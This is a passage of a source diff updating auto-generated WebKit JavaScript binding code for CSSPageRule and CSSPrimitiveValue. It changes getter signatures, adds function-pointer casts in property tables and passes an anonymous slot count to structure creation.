+    JSCSSPageRule* domObject = static_cast<JSCSSPageRule*>(asObject(slotBase));
     return JSCSSPageRule::getConstructor(exec, domObject->globalObject());
 }
 void JSCSSPageRule::put(ExecState* exec, const Identifier& propertyName, JSValue value, PutPropertySlot& slot)
@@ -169,7 +171,8 @@ void JSCSSPageRule::put(ExecState* exec, const Identifier& propertyName, JSValue
 
 void setJSCSSPageRuleSelectorText(ExecState* exec, JSObject* thisObject, JSValue value)
 {
-    CSSPageRule* imp = static_cast<CSSPageRule*>(static_cast<JSCSSPageRule*>(thisObject)->impl());
+    JSCSSPageRule* castedThisObj = static_cast<JSCSSPageRule*>(thisObject);
+    CSSPageRule* imp = static_cast<CSSPageRule*>(castedThisObj->impl());
     ExceptionCode ec = 0;
     imp->setSelectorText(valueToStringWithNullCheck(exec, value), ec);
     setDOMException(exec, ec);
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCSSPageRule.h b/src/3rdparty/webkit/WebCore/generated/JSCSSPageRule.h
index 8ba0942..9058b66 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSCSSPageRule.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSCSSPageRule.h
@@ -40,7 +40,7 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
     static JSC::JSValue getConstructor(JSC::ExecState*, JSC::JSGlobalObject*);
@@ -57,7 +57,7 @@ public:
     static const JSC::ClassInfo s_info;
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSCSSPageRulePrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -66,10 +66,10 @@ protected:
 
 // Attributes
 
-JSC::JSValue jsCSSPageRuleSelectorText(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsCSSPageRuleSelectorText(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 void setJSCSSPageRuleSelectorText(JSC::ExecState*, JSC::JSObject*, JSC::JSValue);
-JSC::JSValue jsCSSPageRuleStyle(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsCSSPageRuleConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsCSSPageRuleStyle(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsCSSPageRuleConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSCSSPrimitiveValue.cpp b/src/3rdparty/webkit/WebCore/generated/JSCSSPrimitiveValue.cpp
index ea0517c..369ef08 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSCSSPrimitiveValue.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/JSCSSPrimitiveValue.cpp
@@ -44,8 +44,8 @@ ASSERT_CLASS_FITS_IN_CELL(JSCSSPrimitiveValue);
 
 static const HashTableValue JSCSSPrimitiveValueTableValues[3] =
 {
-    { "primitiveType", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValuePrimitiveType, (intptr_t)0 },
-    { "constructor", DontEnum|ReadOnly, (intptr_t)jsCSSPrimitiveValueConstructor, (intptr_t)0 },
+    { "primitiveType", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValuePrimitiveType), (intptr_t)0 },
+    { "constructor", DontEnum|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueConstructor), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -60,32 +60,32 @@ static JSC_CONST_HASHTABLE HashTable JSCSSPrimitiveValueTable =
 
 static const HashTableValue JSCSSPrimitiveValueConstructorTableValues[27] =
 {
-    { "CSS_UNKNOWN", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_UNKNOWN, (intptr_t)0 },
-    { "CSS_NUMBER", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_NUMBER, (intptr_t)0 },
-    { "CSS_PERCENTAGE", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_PERCENTAGE, (intptr_t)0 },
-    { "CSS_EMS", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_EMS, (intptr_t)0 },
-    { "CSS_EXS", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_EXS, (intptr_t)0 },
-    { "CSS_PX", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_PX, (intptr_t)0 },
-    { "CSS_CM", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_CM, (intptr_t)0 },
-    { "CSS_MM", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_MM, (intptr_t)0 },
-    { "CSS_IN", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_IN, (intptr_t)0 },
-    { "CSS_PT", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_PT, (intptr_t)0 },
-    { "CSS_PC", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_PC, (intptr_t)0 },
-    { "CSS_DEG", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_DEG, (intptr_t)0 },
-    { "CSS_RAD", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_RAD, (intptr_t)0 },
-    { "CSS_GRAD", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_GRAD, (intptr_t)0 },
-    { "CSS_MS", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_MS, (intptr_t)0 },
-    { "CSS_S", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_S, (intptr_t)0 },
-    { "CSS_HZ", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_HZ, (intptr_t)0 },
-    { "CSS_KHZ", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_KHZ, (intptr_t)0 },
-    { "CSS_DIMENSION", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_DIMENSION, (intptr_t)0 },
-    { "CSS_STRING", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_STRING, (intptr_t)0 },
-    { "CSS_URI", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_URI, (intptr_t)0 },
-    { "CSS_IDENT", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_IDENT, (intptr_t)0 },
-    { "CSS_ATTR", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_ATTR, (intptr_t)0 },
-    { "CSS_COUNTER", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_COUNTER, (intptr_t)0 },
-    { "CSS_RECT", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_RECT, (intptr_t)0 },
-    { "CSS_RGBCOLOR", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_RGBCOLOR, (intptr_t)0 },
+    { "CSS_UNKNOWN", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_UNKNOWN), (intptr_t)0 },
+    { "CSS_NUMBER", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_NUMBER), (intptr_t)0 },
+    { "CSS_PERCENTAGE", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_PERCENTAGE), (intptr_t)0 },
+    { "CSS_EMS", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_EMS), (intptr_t)0 },
+    { "CSS_EXS", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_EXS), (intptr_t)0 },
+    { "CSS_PX", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_PX), (intptr_t)0 },
+    { "CSS_CM", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_CM), (intptr_t)0 },
+    { "CSS_MM", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_MM), (intptr_t)0 },
+    { "CSS_IN", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_IN), (intptr_t)0 },
+    { "CSS_PT", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_PT), (intptr_t)0 },
+    { "CSS_PC", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_PC), (intptr_t)0 },
+    { "CSS_DEG", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_DEG), (intptr_t)0 },
+    { "CSS_RAD", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_RAD), (intptr_t)0 },
+    { "CSS_GRAD", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_GRAD), (intptr_t)0 },
+    { "CSS_MS", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_MS), (intptr_t)0 },
+    { "CSS_S", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_S), (intptr_t)0 },
+    { "CSS_HZ", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_HZ), (intptr_t)0 },
+    { "CSS_KHZ", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_KHZ), (intptr_t)0 },
+    { "CSS_DIMENSION", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_DIMENSION), (intptr_t)0 },
+    { "CSS_STRING", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_STRING), (intptr_t)0 },
+    { "CSS_URI", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_URI), (intptr_t)0 },
+    { "CSS_IDENT", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_IDENT), (intptr_t)0 },
+    { "CSS_ATTR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_ATTR), (intptr_t)0 },
+    { "CSS_COUNTER", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_COUNTER), (intptr_t)0 },
+    { "CSS_RECT", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_RECT), (intptr_t)0 },
+    { "CSS_RGBCOLOR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_RGBCOLOR), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -110,7 +110,7 @@ public:
 
     static PassRefPtr<Structure> createStructure(JSValue proto) 
     { 
-        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags)); 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
     }
     
 protected:
@@ -133,39 +133,39 @@ bool JSCSSPrimitiveValueConstructor::getOwnPropertyDescriptor(ExecState* exec, c
 
 static const HashTableValue JSCSSPrimitiveValuePrototypeTableValues[34] =
 {
-    { "CSS_UNKNOWN", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_UNKNOWN, (intptr_t)0 },
-    { "CSS_NUMBER", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_NUMBER, (intptr_t)0 },
-    { "CSS_PERCENTAGE", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_PERCENTAGE, (intptr_t)0 },
-    { "CSS_EMS", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_EMS, (intptr_t)0 },
-    { "CSS_EXS", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_EXS, (intptr_t)0 },
-    { "CSS_PX", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_PX, (intptr_t)0 },
-    { "CSS_CM", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_CM, (intptr_t)0 },
-    { "CSS_MM", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_MM, (intptr_t)0 },
-    { "CSS_IN", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_IN, (intptr_t)0 },
-    { "CSS_PT", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_PT, (intptr_t)0 },
-    { "CSS_PC", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_PC, (intptr_t)0 },
-    { "CSS_DEG", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_DEG, (intptr_t)0 },
-    { "CSS_RAD", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_RAD, (intptr_t)0 },
-    { "CSS_GRAD", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_GRAD, (intptr_t)0 },
-    { "CSS_MS", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_MS, (intptr_t)0 },
-    { "CSS_S", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_S, (intptr_t)0 },
-    { "CSS_HZ", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_HZ, (intptr_t)0 },
-    { "CSS_KHZ", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_KHZ, (intptr_t)0 },
-    { "CSS_DIMENSION", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_DIMENSION, (intptr_t)0 },
-    { "CSS_STRING", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_STRING, (intptr_t)0 },
-    { "CSS_URI", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_URI, (intptr_t)0 },
-    { "CSS_IDENT", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_IDENT, (intptr_t)0 },
-    { "CSS_ATTR", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_ATTR, (intptr_t)0 },
-    { "CSS_COUNTER", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_COUNTER, (intptr_t)0 },
-    { "CSS_RECT", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_RECT, (intptr_t)0 },
-    { "CSS_RGBCOLOR", DontDelete|ReadOnly, (intptr_t)jsCSSPrimitiveValueCSS_RGBCOLOR, (intptr_t)0 },
-    { "setFloatValue", DontDelete|Function, (intptr_t)jsCSSPrimitiveValuePrototypeFunctionSetFloatValue, (intptr_t)2 },
-    { "getFloatValue", DontDelete|Function, (intptr_t)jsCSSPrimitiveValuePrototypeFunctionGetFloatValue, (intptr_t)1 },
-    { "setStringValue", DontDelete|Function, (intptr_t)jsCSSPrimitiveValuePrototypeFunctionSetStringValue, (intptr_t)2 },
-    { "getStringValue", DontDelete|Function, (intptr_t)jsCSSPrimitiveValuePrototypeFunctionGetStringValue, (intptr_t)0 },
-    { "getCounterValue", DontDelete|Function, (intptr_t)jsCSSPrimitiveValuePrototypeFunctionGetCounterValue, (intptr_t)0 },
-    { "getRectValue", DontDelete|Function, (intptr_t)jsCSSPrimitiveValuePrototypeFunctionGetRectValue, (intptr_t)0 },
-    { "getRGBColorValue", DontDelete|Function, (intptr_t)jsCSSPrimitiveValuePrototypeFunctionGetRGBColorValue, (intptr_t)0 },
+    { "CSS_UNKNOWN", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_UNKNOWN), (intptr_t)0 },
+    { "CSS_NUMBER", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_NUMBER), (intptr_t)0 },
+    { "CSS_PERCENTAGE", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_PERCENTAGE), (intptr_t)0 },
+    { "CSS_EMS", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_EMS), (intptr_t)0 },
+    { "CSS_EXS", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_EXS), (intptr_t)0 },
+    { "CSS_PX", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_PX), (intptr_t)0 },
+    { "CSS_CM", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_CM), (intptr_t)0 },
+    { "CSS_MM", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_MM), (intptr_t)0 },
+    { "CSS_IN", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_IN), (intptr_t)0 },
+    { "CSS_PT", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_PT), (intptr_t)0 },
+    { "CSS_PC", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_PC), (intptr_t)0 },
+    { "CSS_DEG", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_DEG), (intptr_t)0 },
+    { "CSS_RAD", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_RAD), (intptr_t)0 },
+    { "CSS_GRAD", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_GRAD), (intptr_t)0 },
+    { "CSS_MS", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_MS), (intptr_t)0 },
+    { "CSS_S", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_S), (intptr_t)0 },
+    { "CSS_HZ", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_HZ), (intptr_t)0 },
+    { "CSS_KHZ", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_KHZ), (intptr_t)0 },
+    { "CSS_DIMENSION", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_DIMENSION), (intptr_t)0 },
+    { "CSS_STRING", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_STRING), (intptr_t)0 },
+    { "CSS_URI", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_URI), (intptr_t)0 },
+    { "CSS_IDENT", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_IDENT), (intptr_t)0 },
+    { "CSS_ATTR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_ATTR), (intptr_t)0 },
+    { "CSS_COUNTER", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_COUNTER), (intptr_t)0 },
+    { "CSS_RECT", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_RECT), (intptr_t)0 },
+    { "CSS_RGBCOLOR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsCSSPrimitiveValueCSS_RGBCOLOR), (intptr_t)0 },
+    { "setFloatValue", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCSSPrimitiveValuePrototypeFunctionSetFloatValue), (intptr_t)2 },
+    { "getFloatValue", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCSSPrimitiveValuePrototypeFunctionGetFloatValue), (intptr_t)1 },
+    { "setStringValue", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCSSPrimitiveValuePrototypeFunctionSetStringValue), (intptr_t)2 },
+    { "getStringValue", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCSSPrimitiveValuePrototypeFunctionGetStringValue), (intptr_t)0 },
+    { "getCounterValue", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCSSPrimitiveValuePrototypeFunctionGetCounterValue), (intptr_t)0 },
+    { "getRectValue", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCSSPrimitiveValuePrototypeFunctionGetRectValue), (intptr_t)0 },
+    { "getRGBColorValue", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsCSSPrimitiveValuePrototypeFunctionGetRGBColorValue), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -215,17 +215,18 @@ bool JSCSSPrimitiveValue::getOwnPropertyDescriptor(ExecState* exec, const Identi
     return getStaticValueDescriptor<JSCSSPrimitiveValue, Base>(exec, &JSCSSPrimitiveValueTable, this, propertyName, descriptor);
 }
 
-JSValue jsCSSPrimitiveValuePrimitiveType(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCSSPrimitiveValuePrimitiveType(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCSSPrimitiveValue* castedThis = static_cast<JSCSSPrimitiveValue*>(asObject(slot.slotBase()));
+    JSCSSPrimitiveValue* castedThis = static_cast<JSCSSPrimitiveValue*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     CSSPrimitiveValue* imp = static_cast<CSSPrimitiveValue*>(castedThis->impl());
-    return jsNumber(exec, imp->primitiveType());
+    JSValue result = jsNumber(exec, imp->primitiveType());
+    return result;
 }
 
-JSValue jsCSSPrimitiveValueConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsCSSPrimitiveValueConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSCSSPrimitiveValue* domObject = static_cast<JSCSSPrimitiveValue*>(asObject(slot.slotBase()));
+    JSCSSPrimitiveValue* domObject = static_cast<JSCSSPrimitiveValue*>(asObject(slotBase));
     return JSCSSPrimitiveValue::getConstructor(exec, domObject->globalObject());
 }
 JSValue JSCSSPrimitiveValue::getConstructor(ExecState* exec, JSGlobalObject* globalObject)
@@ -343,132 +344,132 @@ JSValue JSC_HOST_CALL jsCSSPrimitiveValuePrototypeFunctionGetRGBColorValue(ExecS
 
 // Constant getters
 
-JSValue jsCSSPrimitiveValueCSS_UNKNOWN(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsCSSPrimitiveValueCSS_UNKNOWN(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(0));
 }
 
-JSValue jsCSSPrimitiveValueCSS_NUMBER(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsCSSPrimitiveValueCSS_NUMBER(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(1));
 }
 
-JSValue jsCSSPrimitiveValueCSS_PERCENTAGE(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsCSSPrimitiveValueCSS_PERCENTAGE(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(2));
 }
 
-JSValue jsCSSPrimitiveValueCSS_EMS(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsCSSPrimitiveValueCSS_EMS(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(3));
 }
 
-JSValue jsCSSPrimitiveValueCSS_EXS(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsCSSPrimitiveValueCSS_EXS(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(4));
 }
 
-JSValue jsCSSPrimitiveValueCSS_PX(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsCSSPrimitiveValueCSS_PX(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(5));
 }
 
-JSValue jsCSSPrimitiveValueCSS_CM(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsCSSPrimitiveValueCSS_CM(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(6));
 }
 
-JSValue jsCSSPrimitiveValueCSS_MM(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsCSSPrimitiveValueCSS_MM(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(7));
 }
 
-JSValue jsCSSPrimitiveValueCSS_IN(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsCSSPrimitiveValueCSS_IN(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(8));
 }
 
-JSValue jsCSSPrimitiveValueCSS_PT(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsCSSPrimitiveValueCSS_PT(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(9));
 }
 
-JSValue jsCSSPrimitiveValueCSS_PC(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsCSSPrimitiveValueCSS_PC(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(10));
 }
 
-JSValue jsCSSPrimitiveValueCSS_DEG(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsCSSPrimitiveValueCSS_DEG(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(11));
 }
 
-JSValue jsCSSPrimitiveValueCSS_RAD(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsCSSPrimitiveValueCSS_RAD(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(12));
 }
 
-JSValue jsCSSPrimitiveValueCSS_GRAD(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsCSSPrimitiveValueCSS_GRAD(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(13));
 }
 
-JSValue jsCSSPrimitiveValueCSS_MS(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsCSSPrimitiveValueCSS_MS(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(14));
 }
 
-JSValue jsCSSPrimitiveValueCSS_S(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsCSSPrimitiveValueCSS_S(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(15));
 }
 
-JSValue jsCSSPrimitiveValueCSS_HZ(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsCSSPrimitiveValueCSS_HZ(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(16));
 }
 
-JSValue jsCSSPrimitiveValueCSS_KHZ(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsCSSPrimitiveValueCSS_KHZ(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(17));
 }
 
-JSValue jsCSSPrimitiveValueCSS_DIMENSION(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsCSSPrimitiveValueCSS_DIMENSION(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(18));
 }
 
-JSValue jsCSSPrimitiveValueCSS_STRING(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsCSSPrimitiveValueCSS_STRING(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(19));
 }
 
-JSValue jsCSSPrimitiveValueCSS_URI(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsCSSPrimitiveValueCSS_URI(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(20));
 }
 
-JSValue jsCSSPrimitiveValueCSS_IDENT(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsCSSPrimitiveValueCSS_IDENT(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(21));
 }
